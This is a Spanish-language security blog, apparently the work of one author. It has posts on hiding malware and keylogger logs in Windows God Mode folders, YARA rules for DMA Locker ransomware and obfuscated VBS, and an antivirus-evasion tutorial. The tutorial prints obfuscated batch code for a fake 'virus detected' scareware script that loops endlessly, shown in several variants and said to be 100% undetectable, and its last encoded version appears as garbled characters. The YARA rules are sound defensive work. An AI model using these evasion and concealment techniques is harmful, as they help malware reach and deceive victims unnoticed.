Explotacion de «God Mode» orientada a la creacion de malware

Buenas

En esta entrada mostrare como es posible explotar la característica de windows god mode y aprovecharla para la creación y ocultación de malware con un simple código de cuatro lineas.

Aqui la explicación oficial de microsoft sobre esta característica de windows.

El código a continuación mostrado es un simple script en autoit que automatiza este proceso

4791017b980a3e468e28732fa8e17421

*Nota: En caso de desconocer el nombre de usuario se puede usar @Username

Pero como puede esto ser aprovechado por un desarrollador de malware?

Seguro que hay muchas formas de aprovechar esta característica, a mi de entrada se me ocurren dos:

La primera consistiría en crear una entrada en el registro para iniciar nuestra aplicación en el arranque, copiando previamente el binario a esa localizacion.

La segunda y poniendo un ejemplo practico podría ser aprovecharnos de esta característica con un keylogger, almacenando los logs en esa localización, de este modo se podrían almacenar tranquilamente en texto plano.

Como ya ando de vaciones, en estos dias ampliare el POC con un ejemplo practico.

Proyecto en github

Un saludo

Ransomware DMA Locker | Reglas YARA

En esta entrada presentare una regla en YARA para detectar las versiones del ransomware DMA Locker, desde la primera a la cuarta, que es la que actualmente esta infectando masivamente, y que tiene algunas variaciones interesantes respecto a las anteriores versiones como el uso de RSA  en lugar de AES (ya empleado en la tercera version) y la metodologia empleada para generar las claves. En unos dias publicare un analisis completo del binario.

De momento dejo la regla, que se basa en la deteccion de las cadenas de texto que todos los binarios de este malware incluyen.

rule DMALocker

{
meta:
Description = «Deteccion del ransomware DMA Locker desde la version 1.0 a la 4.0»
Author = «SadFud»
Date = «30/05/2016»

strings:
$uno = { 41 42 43 58 59 5a 31 31 }
$dos = { 21 44 4d 41 4c 4f 43 4b }
$tres = { 21 44 4d 41 4c 4f 43 4b 33 2e 30 }
$cuatro = { 21 44 4d 41 4c 4f 43 4b 34 2e 30 }

condition:
any of them

}

Hasta la proxima.

 

Regla generica en YARA para VBS ofuscado.

Buenas, esta entrada va a ser cortita, hace unos meses windows 10 implemento en su windows defender una nueva funcion de defensa, esta vez contra archivos del tipo visual basic scripts la cual es capaz de detectar codigo ofuscado, tal que asi:

30at168

No se como funcionara a nivel interno el windows defender ya que no ocupo este sistema operativo, pero a continuacion comparto una regla en YARA para la deteccion de codigo ofuscado en vbs.

rule Malware.Gen.Vbs.Obfuscated
{
    meta:
    Description = "Deteccion de archivos visual basic script ofuscados"
    Author = "SadFud"
    Date = "28/05/2016"
    
    strings:
    $eg = { 45 78 65 63 75 74 65 47 6c 6f 62 61 6c } nocase
    $e = { 45 78 65 63 75 74 65 } nocase
    
    condition:
    $eg or $e
    
}

Eso es todo, actualmente estoy con un proyecto mas grnade de reglas YARA que publicare en las próximas semanas.

Evasión de antivirus en archivos por lotes (batch)

En esta primera parte dedicada a la evasión de antivirus, haré las prueba con archivos batch, para las mismas usare este script, no por nada especial, si no porque es detectado por los antivirus como se demuestra en el siguiente scan:

0e37e39c086b3274fa7a88dd4229c169

Scan en virustotal

Ahi vemos que tiene 16 detecciones.

Antes de empezar con la parte practica estaría bien saber como funciona un antivirus, para ello recomiendo esta lectura.

El método que utilizaremos hoy, tal y como viene explicado en la web del Instituto nacional de ciberseguridad español es:

Ofuscación del código: Es la técnica más habitual y habitualmente se encuentra junto con el cifrado del código. Consiste en hacer que el código no sea legible, previniendo de esta forma la ingeniería inversa del código y por supuesto la detección por parte de los motores de antivirus. Básicamente convierte un código M en otro M’ sin perder funcionalidad y manteniendo el comportamiento. Algunas muestras de malware van un paso más allá y ofuscan todo su código utilizando mecanismos llamados packers, de forma que sólo es accesible una parte del código y se desempaquetan en tiempo real. Esta técnica se combina con la detección de entornos virtuales para evitar desempaquetar el malware en un entorno de sandbox para dificultar aún más la detección.

La ofuscación de código tiene múltiples variantes, incluyendo los polimorfismos y metamorfismos, además de multitud de mecanismos para realizarla sin perder la funcionalidad, pero esto es una historia de la que hablaremos otro día.

Bien, una vez que sabemos mas o menos como funcionan los métodos de detección de un antivirus, vamos a evadirlos.

Para ello he desarrollado una aplicación en .NET con 3 formas diferentes de evasión, sencillas a la vez que efectivas.

*Esta entrada esta escrita con fines educativos, en ningún momento incito a la infección con malware o busco hacer apología del delito.

3388451ddadf6572dcb52f584275bee7

 

Vamos a probar la primera opción que como bien pone en el programa va a generar cadenas aleatorias que sustituirán cada letra del codigo original. Este método de evasión es polimorfismo, es decir, cada código ofuscado sera diferente al anterior, dificultando en gran medida el estudio del malware por las compañías de antivirus.

Este es el nuevo código de nuestro malware

@echo off
set hysrphc=a
set ttcigip=b
set cmeozmn=c
set looefqh=d
set xcemwrj=e
set yjlnzdw=f
set vwbqqtr=g
set rapqfld=h
set houlchi=i
set erdehxi=j
set wjlnlsm=k
set epdwkxq=l
set zcyglpx=m
set tcjssjk=n
set gykgkjw=o
set twbqdih=p
set atrwzpc=q
set qqebimb=r
set qgsmxyk=s
set yqsooez=t
set bctabnl=u
set ugmfbhj=v
set jqpnofo=w
set dctzpyw=x
set lnkzhdk=y
set bofxibv=z
@%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% %gykgkjw%%yjlnzdw%%yjlnzdw%
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% WARNING VIRUS HAS BEEN DETECTED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% S%lnkzhdk%%qgsmxyk%%yqsooez%%xcemwrj%%zcyglpx% %cmeozmn%%rapqfld%%xcemwrj%%cmeozmn%%wjlnlsm%
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% P%gykgkjw%%jqpnofo%%xcemwrj%%qqebimb% – FAILED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% RAM – FAILED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% N%gykgkjw%%qqebimb%%yqsooez%%gykgkjw%%tcjssjk% – FAILED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% B%qqebimb%%xcemwrj%%hysrphc%%cmeozmn%%rapqfld% %gykgkjw%%yjlnzdw% IP %hysrphc%%looefqh%%qqebimb%%xcemwrj%%qgsmxyk%%qgsmxyk%
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% F%houlchi%%qqebimb%%xcemwrj%%jqpnofo%%hysrphc%%epdwkxq%%epdwkxq% – FAILED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% V%houlchi%%qqebimb%%bctabnl%%qgsmxyk% %hysrphc%%yqsooez%%yqsooez%%hysrphc%%houlchi%%tcjssjk%%houlchi%%tcjssjk%%vwbqqtr%: ****-****-****-8894
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% H%hysrphc%%qqebimb%%looefqh% %looefqh%%qqebimb%%houlchi%%ugmfbhj%%xcemwrj% %zcyglpx%%bctabnl%%qgsmxyk%%yqsooez% %ttcigip%%xcemwrj% %xcemwrj%%qqebimb%%hysrphc%%qgsmxyk%%xcemwrj%%looefqh% %hysrphc%%tcjssjk%%looefqh% %qqebimb%%xcemwrj%%ttcigip%%gykgkjw%%gykgkjw%%yqsooez%%xcemwrj%%looefqh% %yqsooez%%gykgkjw% %qqebimb%%xcemwrj%%qgsmxyk%%bctabnl%%zcyglpx%%xcemwrj% %jqpnofo%%houlchi%%tcjssjk%%looefqh%%gykgkjw%%jqpnofo%%qgsmxyk%.
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
PAUSE
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% S%yqsooez%%hysrphc%%qqebimb%%yqsooez%%houlchi%%tcjssjk%%vwbqqtr% %yqsooez%%gykgkjw% %qqebimb%%xcemwrj%%ttcigip%%gykgkjw%%gykgkjw%%yqsooez% %rapqfld%%hysrphc%%qqebimb%%looefqh%%qqebimb%%houlchi%%ugmfbhj%%xcemwrj%.
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% D%gykgkjw% %tcjssjk%%gykgkjw%%yqsooez% %hysrphc%%yqsooez%%yqsooez%%xcemwrj%%zcyglpx%%twbqdih%%yqsooez% %yqsooez%%gykgkjw% %atrwzpc%%bctabnl%%houlchi%%yqsooez%.
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% R%xcemwrj%%qgsmxyk%%yqsooez%%hysrphc%%qqebimb%%yqsooez% %hysrphc%%yjlnzdw%%yqsooez%%xcemwrj%%qqebimb% 10 %zcyglpx%%houlchi%%tcjssjk%%bctabnl%%yqsooez%%xcemwrj%%qgsmxyk% %hysrphc%%twbqdih%%twbqdih%%qqebimb%%gykgkjw%%dctzpyw%%houlchi%%zcyglpx%%hysrphc%%yqsooez%%xcemwrj%%epdwkxq%%lnkzhdk%.
PAUSE
:START
%qgsmxyk%%yqsooez%%hysrphc%%qqebimb%%yqsooez% I%tcjssjk%%yqsooez%%xcemwrj%%qqebimb%%tcjssjk%%xcemwrj%%yqsooez% E%dctzpyw%%twbqdih%%epdwkxq%%gykgkjw%%qqebimb%%xcemwrj%%qqebimb%.%ttcigip%%hysrphc%%yqsooez%
GOTO START

Vamos a escanearlo y a ver los resultados:

cxjmzs2vtrlgdi90wkebe6xign3

Con este primer método conseguimos un payload 100% indetectable, tanto a nivel de scan como a nivel de proactivas y procedimientos heuristicos, al ser un archivo por lotes es mucho mas sencilla la evasion total. Esto ocurre con los lenguajes tipo script como batch y visual basic script.

Vamos a probar la segunda opción, que consistirá en generar variables basura entre cada carácter para confundir al antivirus. Este método, al tener igualmente el código en texto plano no nos deja un archivo totalmente indetectable:

4yadysmefl6fophmr

Este seria el nuevo codigo ofuscado:

%tvstlke%@%tywhgxt%e%ntidtrv%c%fbjclle%h%dkrmkbo%o%ppzjobv% %nkbthqa%o%vezdmwk%f%uceamjo%f%nzlzlec% %ptdxjpk%
%auihfrr%e%nmaceqs%c%slmklyz%h%zetwpfj%o%nnehbep% %ozlzypn%W%gaarpll%A%rsyrzmy%R%bylvnpr%N%ypjrxgx%I%crdtxpo%N%sjrimmd%G%ylfdcti% %iwsxlvl%V%zbpjuru%I%tstlokm%R%wrkagve%U%irshrvb%S%fnquvmr% %ddjlual%H%jkgadhb%A%jedeluv%S%tcfbzye% %wsofeia%B%yvnnptd%E%mjxovst%E%pthdhcg%N%wihwshf% %uihwewv%D%dbkcyat%E%mdusdfn%T%yrjzugp%E%zyqbxrc%C%wlgephx%T%rpudezj%E%idzzawo%D%fgisflo% %xyrbkgs%
%fejkilw%e%aretked%c%urpgrxq%h%hnptixc%o%ulhebwn% %aixkxdi%S%qfjpgah%y%rvxzwmq%s%zfycnsf%t%crzoabr%e%vvstzvp%m%rqyjcmg% %erynnmc%c%mcpngrq%h%iootwim%e%sdjgxla%c%sgnurzo%k%equipzf% %xzvghuo%
%vhdqgjy%e%hnlokkf%c%fhmydzk%h%umppxxg%o%maqfjry% %lhcmwfy%-%hqpcfxu% %ssumbzb%
%fkmgazd%e%rtcxxau%c%rbfblnt%h%fkqmymz%o%gxxdvxx% %firdbmh%P%jqkwvvi%o%tvxzjxb%w%pmvwtoh%e%uppyuxy%r%jgcmiun% %qjrizbs%-%heikwwh% %rybnqae%F%lpfqlsw%A%vzamswa%I%aoelnel%L%xkcyrub%E%vbvpriv%D%bhsezqm% %bbpiicf%
%kzqfvgo%e%npakbqk%c%pszslbn%h%krnbgtp%o%grthdkq% %ogsaoqq%-%mftbaff% %vywhujd%
%eafxanx%e%qpveqoz%c%rwcftam%h%oisilqi%o%jmgiaht% %glqllxk%R%xeuxbuy%A%pvcfgpc%M%xbupeug% %soqygmn%-%szfscym% %ylbyefm%F%ttxrmyj%A%sfiouls%I%pnzbrbd%L%qdomhom%E%qckgjap%D%uolswkb% %nseyvdz%
%jnkoyvq%e%woksjvm%c%lkgzrtm%h%alaysqw%o%kavltuk% %kdzyohz%-%wogmmhq% %pwhlecy%
%tptdsku%e%gvbbwlb%c%xeyczhv%h%ljbutfq%o%excjfai% %deoqsoi%N%fyfoqyq%o%qakymax%r%xhylwhn%t%jqobtie%o%pjwowop%n%wicquuj% %fenqgzs%-%wfdixur% %iyaigwe%F%ltjdggl%A%azdsbdf%I%fbwubmw%L%utkiqjl%E%bwzegqr%D%srpgdmf% %jwnsnio%
%dnruhbg%e%gmhjzly%c%lbmiutj%h%oiodncl%o%nyhtnrf% %muabhfk%-%mowfpsd% %cxcjrpy%
%fmmoxyv%e%hplwhkx%c%vdvxoin%h%rdbdkzo%o%ztawvfo% %edffxnp%B%glddbyc%r%pnnthcv%e%hmhinwj%a%cijbbpl%c%ggenhys%h%bksmwqe% %ryxitmi%o%pbgbyci%f%htokcxm% %ioclmje%I%kmcccux%P%dmmpjnk% %jyjumuk%a%effnunh%d%dsqlbbq%r%aahyzrb%e%bqviodk%s%bprdqpo%s%mlxwssl% %fqqcsmj%
%uaskfko%e%hbrorkk%c%wxnwyik%h%lyiuzgv%o%vnchaji% %vqgvvwx%-%olsqiqa% %ajohlrw%
%ecbzzas%e%rhjxdaz%c%irgzgwt%h%wwjqauo%o%pkjfmph% %orvmadg%F%qlnlyno%i%bmrvtqw%r%pekpspx%e%tdwyaxd%w%awdkedn%a%hvkmbjh%l%qrumnor%l%hskeejp% %skifnlc%-%dqvicov% %zhtfmfb%F%djngmns%A%mrwnmsv%I%zdprrrm%L%koblzup%E%btzwjqz%D%vkdzdjq% %xjtnvti%
%dzymqbt%e%gfahjlv%c%fwtyjzq%h%kcqnsgg%o%elijlan% %uuoooxi%-%xkytthf% %znwbesh%
%nbhckrx%e%jbmihiz%c%qqmbsny%h%warjtvz%o%fttqmzx% %nvdgsdr%V%zjtnjft%i%aqaomqh%r%xdqrdgc%u%thertyo%s%jvjmpvs% %hzsguks%a%zqaoyfw%t%hwsyxka%t%bjnhzch%a%vjytfwu%i%ifzhxwg%n%wdqsqvr%i%cagxmcm%n%sxtcvzm%g%tnhnklu%:%axhpcrj% %ejiboav%*%xnbgout%*%lxeocsy%*%fjibclg%*%ouzauqv%-%dvuywof%*%nkolwrs%*%mnszreh%*%gidveyk%*%yrfuwss%-%wznevid%*%ifvbzij%*%gzwlsxp%*%ouvvxdy%*%nszsxqd%-%gohrwlq%8%iiypuwy%8%tkdzqyg%9%gcwtpxh%4%lahcwgn% %supoamx%
%gcazmld%e%hpgqkwb%c%zpwjbsz%h%kitjktm%o%ungmywf% %refjinl%-%vhzliwc% %lzmzxtr%
%rbbvnaw%e%bmnpwcz%c%sqlbfyj%h%mhodara%o%pgfsrcs% %bgozccp%H%yclmgtf%a%wtfcgha%r%czcsooq%d%ctywxbj% %mraskfs%d%phjxppp%r%rkifaar%i%fytggzi%v%ijdvsju%e%pycodou% %nydopdj%m%wqfujhi%u%fspkpmb%s%rherfnd%t%solsiyr% %pacwaom%b%leqvpgy%e%bsvqldc% %ywekqsc%e%qnmtvng%r%ytectsk%a%tgzlvlr%s%nhkycee%e%adllteq%d%nacwmdb% %uxscikw%a%kufgrhw%n%kktrhte%d%sutuyzu% %vguflif%r%oknlkcd%e%kfubntu%b%xgufytq%o%fslfryf%o%cdklhpb%t%lseyiso%e%lvimcgd%d%ygpzagu% %qoqysbc%t%oxzirqn%o%acggvru% %yxiqogz%r%nblhieu%e%fplwuyn%s%ewxdhmm%u%afktqei%m%lhpemgq%e%yziylgr% %kiypihj%w%krbtwuh%i%yamdjtn%n%zmsvgel%d%yxmvmtv%o%cffogcw%w%mlsruep%s%jbroevv%.%nelpfem% %cwyeubb%
%jynakih%e%audchdv%c%koxfbht%h%efaiwzk%o%ooveddo% %teadylz%-%qaxqcbp% %oqrhcpk%
%uxowlxa%P%urkatjt%A%dpmxgnc%U%gevcmxz%S%ihujwib%E%dgjtrad% %zgpzore%
%hvoszxe%e%fvpslmt%c%oorzfqs%h%xqbplul%o%jeqwbvn% %klxxfhb%-%hyoawxw% %ccbaloi%
%aaldwey%e%qtqpmbm%c%ilyxrwq%h%qrqgpbu%o%lelqrtb% %mpaknfa%S%raxqqma%t%mitjxfx%a%lvegfsg%r%icvtcir%t%jsjesva%i%jsfyuhe%n%ndgkhrq%g%gizpgln% %ccgfjce%t%pegjvca%o%eabrcaa% %tawpdxl%r%dpqceby%e%dtuqzon%b%pdbexoe%o%ilcdpjm%o%mfpvdri%t%zkxshsp% %quuukoj%h%ezxmeme%a%xmxbqhx%r%wujidvw%d%ynbgbfe%r%jpfqxhm%i%qxtchob%v%cgktept%e%dfeeaam%.%kdlgygg% %tawgklq%
%kamybgo%e%vtjzkib%c%zosujsi%h%vfqqtio%o%zhksurf% %pzxhjov%-%vbmdzva% %nxdfwro%
%dbbqfny%e%ysetagp%c%arvhsqh%h%ghzgnys%o%jnbbghu% %ieusgwp%D%ganzakt%o%hukdixn% %xcqikth%n%asznqde%o%cvyvaog%t%qjiwhnx% %mjocdey%a%tynvokx%t%yjsdpsy%t%brqcudl%e%jtasahe%m%csuhfbs%p%woxauuu%t%alrladb% %wpflpvn%t%mdkglrr%o%khtaqhr% %cycivcv%q%dupjfoo%u%erpbvzg%i%ysancst%t%edwtfzt%.%zlsmmsq% %yydjufa%
%vfuwrwl%e%wvjhhit%c%wvebjux%h%hrkvlxv%o%avdakrs% %ogfiypx%-%bhfmkpt% %rdaurnu%
%gevssle%e%pspftos%c%pwttobg%h%jrfpbvj%o%uocgewg% %zioysec%R%lnwvwfj%e%cxtxzbc%s%rcwptzx%t%jpwefuq%a%jxilsip%r%lqajrsx%t%wsftmuf% %jkxnlug%a%ojjwtcm%f%vcqixiw%t%caxluor%e%kxilgta%r%cyxdxoy% %nqvdgql%1%xwigvte%0%umgdfjk% %ypaffsb%m%hwjlfxf%i%ujcpkww%n%eupjszy%u%vznvcvi%t%pqqxwoa%e%sphmoyr%s%xelljgc% %blngcpe%a%zbgwcez%p%fidmllp%p%yrviefx%r%pacmgcr%o%splrmmo%x%uskzwxr%i%ihuadwh%m%ehagzni%a%lwzzksh%t%qgeimai%e%zzhofeh%l%ibrelia%y%upglcjc%.%vwnmfvq% %sjdqwll%
%nnrpmdx%P%ebwlizb%A%befenpb%U%twonrkf%S%bcgwqpj%E%wpbfrhq% %qpmsybd%
%dlmfqbp%:%qieqjaa%S%xguwfhv%T%mdgaoev%A%ntvldqd%R%vdvouwt%T%yowzhff% %rtpfhzc%
%gdrnuxi%s%apvzvqp%t%iamznve%a%ybhxoto%r%hqbkpwc%t%htfykjq% %bortxdt%I%twsspxb%n%rfaconm%t%dkiasnt%e%bfkkkcy%r%jzitpih%n%ixnqqvm%e%auuppqz%t%domnnbh% %opryidp%E%bijshcq%x%ggvapkw%p%nzcntrg%l%binyfqm%o%cuupcbk%r%uvjhtxj%e%fnhidyv%r%ptulrbo%.%mksibsu%b%qmmjbbl%a%fezyqya%t%mhougeg% %wranohi%
%nwyzyds%G%hnccswk%O%kmsqkhb%T%wmbxuhy%O%tizkyyo% %rzsbymj%S%xfpqhtz%T%xzmupgs%A%gxnrdkb%R%jnxwiuy%T

Podemos observar que la firma detectada es la misma en todos los archivos, esto es porque todas esas compañías de antivirus comparten la base de datos, por tanto podemos asegurar que solo 1 de las tantas compañías de antivirus en el mercado detecta este método de evasión.

Pero para solucionar este problema tenemos la tercera opción, en la que construiremos un archivo que al no ser legible ya no contendrá el texto en plano y por tanto sera mucho mas difícil de detectar tanto por los antivirus como por un analista de malware en el caso de que nuestra muestra llegue a un laboratorio.

Este es el scan con la segunda + la tercera opción:

bwoarxdhwfrefjindomp

Ahí lo tenemos 100% indetectable de nuevo.

Este seria el nuevo script que nos ha quedado.

਍汣൳┊癴瑳歬╥╀祴桷硧╴╥瑮摩牴╶╣扦捪汬╥╨此浲扫╯╯灰橺扯╶┠歮瑢煨╡╯敶摺睭╫╦捵慥橭╯╦穮穬敬╣┍瑰硤灪╫┊畡桩牦╲╥浮捡煥╳╣汳歭祬╺╨敺睴晰╪╯湮桥敢╰┠穯穬灹╮╗慧牡汰╬╁獲特浺╹╒祢癬灮╲╎灹牪杸╸╉牣瑤灸╯╎橳楲浭╤╇汹摦瑣╩┠睩硳癬╬╖扺橰牵╵╉獴汴歯╭╒牷慫癧╥╕物桳癲╢╓湦畱浶╲┠摤汪慵╬╈歪慧桤╢╁敪敤畬╶╓捴扦祺╥┠獷景楥╡╂癹湮瑰╤╅橭潸獶╴╅瑰摨捨╧╎楷睨桳╦┠極睨睥╶╄扤捫慹╴╅摭獵晤╮╔特穪杵╰╅祺扱牸╣╃汷敧桰╸╔灲摵穥╪╅摩空睡╯╄杦獩汦╯┍祸扲杫╳┊敦歪汩╷╥牡瑥敫╤╣牵杰硲╱╨湨瑰硩╣╯汵敨睢╮┠楡歸摸╩╓晱灪慧╨╹癲穸海╱╳智捹獮╦╴牣潺扡╲╥癶瑳発╰╭煲橹浣╧┠牥湹浮╣╣捭湰牧╱╨潩瑯楷╭╥摳杪汸╡╣杳畮穲╯╫煥極穰╦┍穸杶畨╯┊桶煤橧╹╥湨潬歫╦╣桦祭穤╫╨浵灰硸╧╯慭晱牪╹┠桬浣晷╹┭煨捰硦╵┍獳浵穢╢┊武杭穡╤╥瑲硣慸╵╣扲扦湬╴╨武浱浹╺╯硧摸硶╸┠楦摲浢╨═煪睫癶╩╯癴穸硪╢╷浰睶潴╨╥灵祰硵╹╲杪浣畩╮┠橱楲扺╳┭敨歩睷╨┠祲湢慱╥╆灬煦獬╷╁究浡睳╡╉潡汥敮╬╌歸祣畲╢╅扶灶楲╶╄桢敳煺╭┍扢楰捩╦┊穫晱杶╯╥灮歡煢╫╣獰獺扬╮╨牫扮瑧╰╯牧桴此╱┠杯慳煯╱┭晭扴晡╦┍祶桷橵╤┊慥硦湡╸╥灱敶潱╺╣睲晣慴╭╨楯楳煬╩╯浪楧桡╴┠汧汱硬╫╒數硵畢╹╁癰晣灧╣╍扸灵略╧┠潳祱浧╮┭穳獦祣╭┠汹祢晥╭╆瑴牸祭╪╁晳潩汵╳╉湰扺扲╤╌摱浯潨╭╅捱杫慪╰╄潵獬歷╢┍獮祥摶╺┊湪潫癹╱╥潷獫癪╭╣歬穧瑲╭╨污祡煳╷╯慫汶畴╫┠摫祺桯╺┭潷浧桭╱┍睰汨捥╹┊灴摴歳╵╥癧扢汷╢╣數捹桺╶╨橬畢晴╱╯硥橣慦╩┠敤煯潳╩╎祦潦祱╱╯慱祫慭╸╲桸汹桷╮╴煪扯楴╥╯橰潷潷╰╮楷煣畵╪┠敦煮穧╳┭晷楤畸╲┠祩楡睧╥╆瑬摪杧╬╁穡獤摢╦╉扦畷浢╷╌瑵楫橱╬╅睢敺照╲╄牳杰浤╦┍睪獮楮╯┊湤畲扨╧╥浧橨決╹╣扬業瑵╪╨楯摯据╬╯祮瑨牮╦┠畭扡晨╫┭潭晷獰╤┍硣橣灲╹┊浦潭祸╶╥灨睬歨╸╣摶硶楯╮╨摲摢穫╯╯瑺睡晶╯┠摥晦湸╰╂汧摤祢╣╲湰瑮捨╶╥浨楨睮╪╡楣扪灢╬╣杧湥票╳╨止浳煷╥┠祲楸浴╩╯扰执捹╩╦瑨歯硣╭┠潩汣橭╥╉浫捣畣╸═浤灭湪╫┠祪番畭╫╡晥湦湵╨╤獤汱扢╱╲慡票牺╢╥煢楶摯╫╳灢摲灱╯╳汭睸獳╬┍煦捱浳╪┊慵歳武╯╥扨潲歲╫╣硷睮楹╫╨祬畩杺╶╯湶档橡╩┠煶癧睶╸┭汯煳煩╡┍橡桯牬╷┊捥穢慺╳╥桲硪慤╺╣物穧睧╴╨睷煪畡╯╯歰晪灭╨┠牯浶摡╧╆汱汮湹╯╩浢癲煴╷╲数火灳╸╥摴祷硡╤╷睡此摥╮╡癨浫橢╨╬牱浵潮╲╬獨敫橥╰┠歳晩汮╣┭煤楶潣╶┠桺晴晭╢╆橤杮湭╳╁牭湷獭╶╉摺牰牲╭╌潫汢畺╰╅瑢睺煪╺╄歶穤橤╱┍橸湴瑶╩┊穤浹扱╴╥晧桡汪╶╣睦祴穪╱╨捫湱杳╧╯汥橩慬╮┠畵潯硯╩┭歸瑹桴╦┍湺扷獥╨┊扮捨牫╸╥扪業楨╺╣煱扭湳╹╨慷橲癴╺╯瑦煴穭╸┠癮杤摳╲╖橺湴晪╴╩煡潡煭╨╲摸牱杤╣╵桴牥祴╯╳癪浪癰╳┠穨杳歵╳╡煺潡晹╷╴睨祳歸╡╴橢桮捺╨╡橶瑹睦╵╩晩桺睸╧╮摷獱癱╲╩慣硧捭╭╮硳捴究╭╧湴湨汫╵┺硡灨牣╪┠橥扩慯╶┪湸杢畯╴┪硬潥獣╹┪橦扩汣╧┪畯慺煵╶┭癤祵潷╦┪歮汯牷╳┪湭穳敲╨┪楧癤祥╫┪特畦獷╳┭穷敮楶╤┪晩扶楺╪┪穧汷硳╰┪畯癶摸╹┪獮獺煸╤┭潧牨汷╱┸楩灹睵╹┸歴穤祱╧┹捧瑷硰╨┴慬捨杷╮┍畳潰浡╸┊捧穡汭╤╥灨照睫╢╣灺橷獢╺╨楫橴瑫╭╯湵浧睹╦┠敲橦湩╬┭桶決睩╣┍穬穭瑸╲┊扲癢慮╷╥浢灮捷╺╣煳扬祦╪╨桭摯牡╡╯杰獦捲╳┠杢穯捣╰╈捹浬瑧╦╡瑷捦桧╡╲穣獣潯╱╤瑣睹扸╪┠牭獡晫╳╤桰硪灰╰╲歲晩慡╲╩祦杴穧╩╶橩癤橳╵╥祰潣潤╵┠祮潤摰╪╭煷畦桪╩╵獦歰浰╢╳桲牥湦╤╴潳獬祩╲┠慰督潡╭╢敬癱杰╹╥獢煶摬╣┠睹步獱╣╥湱瑭湶╧╲瑹捥獴╫╡杴決汶╲╳桮祫散╥╥摡汬整╱╤慮督摭╢┠硵捳歩╷╡畫杦桲╷╮歫牴瑨╥╤畳畴穹╵┠杶晵楬╦╲歯汮捫╤╥晫扵瑮╵╢杸晵瑹╱╯獦晬祲╦╯摣汫灨╢╴獬祥獩╯╥癬浩杣╤╤杹穰条╵┠潱祱扳╣╴硯楺煲╮╯捡杧牶╵┠硹煩杯╺╲扮桬敩╵╥灦睬祵╮╳睥摸浨╭╵晡瑫敱╩╭桬数杭╱╥穹祩杬╲┠楫灹桩╪╷牫瑢畷╨╩慹摭瑪╮╮浺癳敧╬╤硹癭瑭╶╯晣潦捧╷╷汭牳敵╰╳扪潲癥╶┮敮灬敦╭┍督敹扵╢┊祪慮楫╨╥畡捤摨╶╣潫晸桢╴╨晥楡穷╫╯潯敶摤╯┠整摡汹╺┭慱煸扣╰┍煯桲灣╫┊硵睯硬╡═牵慫橴╴╁灤硭湧╣╕敧捶硭╺╓桩橵楷╢╅杤瑪慲╤┍杺穰牯╥┊癨獯硺╥╥癦獰浬╴╣潯穲煦╳╨煸灢畬╬╯敪睱癢╮┠汫硸桦╢┭票慯硷╷┍捣慢潬╩┊慡摬敷╹╥瑱灱扭╭╣汩硹睲╱╨牱東扰╵╯敬煬瑲╢┠灭歡普╡╓慲煸浱╡╴業橴晸╸╡癬来獦╧╲捩瑶楣╲╴獪敪癳╡╩獪祦桵╥╮摮歧牨╱╧楧灺汧╮┠捣晧捪╥╴数橧捶╡╯慥牢慣╡┠慴灷硤╬╲灤捱扥╹╥瑤煵潺╮╢摰敢潸╥╯汩摣橰╭╯晭癰牤╩╴歺獸獨╰┠畱畵潫╪╨穥浸浥╥╡浸扸桱╸╲畷楪癤╷╤湹杢晢╥╲灪煦桸╭╩硱捴潨╢╶杣瑫灥╴╥晤敥慡╭┮摫杬杹╧┍慴杷汫╱┊慫祭杢╯╥瑶穪楫╢╣潺畳獪╩╨晶煱楴╯╯桺獫牵╦┠穰桸潪╶┭扶摭発╡┍确晤牷╯┊扤煢湦╹╥獹瑥条╰╣牡桶煳╨╨桧杺祮╳╯湪扢桧╵┠敩獵睧╰╄慧穮歡╴╯畨摫硩╮┠捸楱瑫╨╮獡湺摱╥╯癣癹潡╧╴橱睩湨╸┠橭捯敤╹╡祴癮歯╸╴橹摳獰╹╴牢捱摵╬╥瑪獡桡╥╭獣桵扦╳╰潷慸畵╵╴污汲摡╢┠灷汦癰╮╴摭杫牬╲╯桫慴桱╲┠祣楣捶╶╱畤橰潦╯╵牥扰究╧╩獹湡獣╴╴摥瑷穦╴┮決浳獭╱┍祹橤晵╡┊晶睵睲╬╥癷桪楨╴╣癷扥番╸╨牨癫硬╶╯癡慤牫╳┠杯楦灹╸┭桢浦火╴┍摲畡湲╵┊敧獶汳╥╥獰晰潴╳╣睰瑴扯╧╨牪灦癢╪╯潵杣睥╧┠楺祯敳╣╒湬癷晷╪╥硣硴扺╣╳捲灷穴╸╴灪敷畦╱╡硪汩楳╰╲煬橡獲╸╴獷瑦畭╦┠歪湸畬╧╡橯睪捴╭╦捶楱楸╷╴慣汸潵╲╥硫汩瑧╡╲祣摸潸╹┠煮摶照╬┱睸杩瑶╥┰浵摧橦╫┠灹晡獦╢╭睨汪硦╦╩橵灣睫╷╮略橰穳╹╵究癮癣╩╴煰硱潷╡╥灳浨祯╲╳數汬杪╣┠汢杮灣╥╡扺睧散╺╰楦浤汬╰╰特楶晥╸╲慰浣捧╲╯灳牬浭╯╸獵穫硷╲╩桩慵睤╨╭桥条湺╩╡睬空獫╨╴東楥慭╩╥空潨敦╨╬扩敲楬╡╹灵汧橣╣┮睶浮癦╱┍橳煤汷╬┊湮灲摭╸═扥汷穩╢╁敢敦灮╢╕睴湯歲